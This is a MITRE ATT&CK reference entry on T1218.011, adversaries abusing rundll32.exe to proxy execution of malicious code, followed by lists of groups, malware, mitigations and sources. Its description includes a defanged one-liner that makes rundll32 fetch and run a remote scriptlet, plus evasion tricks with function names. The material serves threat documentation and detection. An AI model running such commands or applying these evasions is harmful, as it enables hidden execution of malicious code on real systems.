MITRE ATT&CKsub-technique
T1218.011 Rundll32
- Domain
- enterprise
- Tactics
- Stealth
- Platforms
- Windows
- Version
- 3.0
- Created
- 2020-01-23
Description
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.
Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
Related
Subtechnique of · MITRE ATT&CK (1)
- T1218 System Binary Proxy Execution technique
Tactic · MITRE ATT&CK (1)
- TA0005 Stealth tactic
Referenced by MITRE ATT&CK · mitigates (1)
- M1050 Exploit Protection mitigation
Referenced by MITRE ATT&CK · uses (103)
- G1053 Storm-0501 group
- G1048 UNC3886 group
- S1196 Troll Stealer software (malware)
- S1190 Kapeka software (malware)
- S1183 StrelaStealer software (malware)
- G1039 RedCurl group
- S1160 Latrodectus software (malware)
- G1034 Daggerfly group
- C0037 Water Curupira Pikabot Distribution campaign
- S1130 Raspberry Robin software (malware)
- S1122 Mispadu software (malware)
- S1100 Ninja software (malware)
- C0028 2015 Ukraine Electric Power Attack campaign
- C0024 SolarWinds Compromise campaign
- C0022 Operation Dream Job campaign
- C0021 C0021 campaign
- S1064 SVCReady software (malware)
- C0018 C0018 campaign
- S1052 DEADEYE software (malware)
- S1050 PcShare software (tool)
- C0015 C0015 campaign
- S1044 FunnyDream software (malware)
- C0005 Operation Spalax campaign
- S1039 Bumblebee software (malware)
- S1030 Squirrelwaffle software (malware)
- S1026 Mongall software (malware)
- S1027 Heyoka Backdoor software (malware)
- S0698 HermeticWizard software (malware)
- G0143 Aquatic Panda group
- G0140 LazyScripter group
Referenced by Compliance · mitigates (4)
- NIST-CA-7 Continuous Monitoring NIST 800-53 control
- NIST-SI-10 Information Input Validation NIST 800-53 control
- NIST-SI-4 System Monitoring NIST 800-53 control
- NIST-SI-7 Software, Firmware, and Information Integrity NIST 800-53 control
References
- https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/ rundll32.exe defense evasion
- https://www.attackify.com/blog/rundll32_execution_order/ Attackify Rundll32.exe Obscurity
- https://www.stormshield.com/news/poweliks-command-line-confusion/ This is Security Command Line Confusion
- https://github.com/gtworek/PSBits/tree/master/NoRunDll Github NoRunDll
- https://lolbas-project.github.io/lolbas/Libraries/Ieframe/ lolbas project Ieframe.dll
- https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/ lolbas project Zipfldr.dll
- https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf Trend Micro CPL